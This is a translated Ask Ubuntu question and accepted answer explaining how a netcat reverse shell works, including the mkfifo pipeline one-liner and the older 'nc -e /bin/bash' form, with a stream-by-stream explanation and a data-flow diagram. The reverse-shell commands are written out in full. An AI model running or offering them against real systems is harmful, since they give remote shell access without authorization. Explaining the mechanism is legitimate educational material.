主页 / ubuntu / 问题 / 1127431
Accepted
Gowtham
Asked: 2019-03-21 21:47:12 +0800 CST

这个命令是如何工作的？（反壳）

  • 772

有一种简单的方法可以连接两个系统并使用nc命令获取 shell，如下所示。

机器A听

nc -nlvp 4444

机器 B 连接

nc 192.168.4.4 4444 -e /bin/bash

但是-e选项不再存在，手册页建议按照以下方式执行命令

机器A听

nc -nlvp 4444

机器 B 连接

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f

我确实知道 mkfifo（未命名管道）背后的概念以及重定向和管道的工作原理。但这仍然让我感到困惑。

networking command-line bash pipe netcat

1 个回答

  1. Best Answer

    让我们在标准流中思考stdin一下stderr。

    nc 192.168.4.4 4444 >/tmp/f

    流stdout被nc复制到/tmp/f先进先出，这意味着它通过网络从另一台机器接收到的任何东西都会去那里。那么标准输入从何而来？从/bin/sh -i 2>&1. 就nc目前而言，它只需将该数据发送回另一台机器。

    那么，/bin/sh -i做什么呢？它调用交互式 shell - 您可以在其中键入命令并将输出打印到stdout. user@host提示通常（如果不总是）打印到，但我们需要将其stderr发送到远程机器，因此2>&1应用重定向以通过管道发送提示。好吧，我们不能用它stdout来打印输出——shell 必须发送它才能nc 192.168.4.4 4444通过网络发送。我们也无法阅读stdin-cat /tmp/f将使用它来打印您的示例中从机器 A 发出的任何命令。将命令传送到交互式 shell 并没有什么特别之处——当重新连接时stdin，应用程序不会意识到这一点，除非它正在积极检查。

    $ echo 'df' | sh -i
$ Filesystem     1K-blocks     Used Available Use% Mounted on
udev             4000944        0   4000944   0% /dev
tmpfs             805348     1400    803948   1% /run
/dev/sda1       28717732 25907684   1328188  96% /
tmpfs            4026732    97496   3929236   3% /dev/shm
tmpfs               5120        4      5116   1% /run/lock
tmpfs            4026732        0   4026732   0% /sys/fs/cgroup
/dev/sdb1      115247656 99204832  10165476  91% /mnt/ubuntu
tmpfs             805344       32    805312   1% /run/user/1000
$ 
sh: 1: Cannot set tty process group (No such process)

    简而言之，shell 从 fifo 读取命令，并通过网络将命令通过管道发送到nc. 从远程发送到本地 shell 的命令由ncfifo 写入。如此循环继续下去。下面基于文本的数据流图也总结了相同的信息

                                 input data
                                  ||  /\
             (in via network)     \/  || (back via network `/bin/sh` via nc`)

cat /tmp/f  == > /bin/sh -i 2>&1 ==> nc 192.168.4.4 4444 ==>  /tmp/f ==||
  /\                                                                   ||
  ||                                                                   \/
  ======================================================================

    切线注意，请注意，制作这样的 3 命令管道允许我们以一种不那么复杂的方式一次性生成这些命令（尽管不能保证顺序）。如果我们要手动执行此操作并将所有内容作为前台进程，nc则必须首先启动以在一个 shell、cat另一个 shellsh和第三个 shell 中侦听。在我们准备它们的时间里，它会阻止对命名的 fifo 文件的读取或写入/tmp/f，并且还会提出如何从catto/bin/sh和 from /bin/shto发送输出的问题nc，这也可能会添加更多的命名管道。使用管道执行三个fork()调用，三个exec()在一个 shell 中调用，并允许我们让它们都通过文件描述符进行通信；不管它们可能以何种顺序开始 - 这要快得多且不那么复杂，尽管在不知道管道、文件描述符和命令的行为方式的情况下不是最容易理解的。

    重要说明：传统ncas 协议不提供任何信息安全性 - 命令及其输出以纯文本形式通过网络传输，攻击者可能会修改机器 A 和 B 之间的数据。如果您确实希望有安全的方式来发布通过其 shell 向远程机器发送命令 - 使用ssh. 该ssh协议是专门为此目的而设计的。如果您确实打算使用安全协议，请使用openssl或ncat.

    • 5

相关问题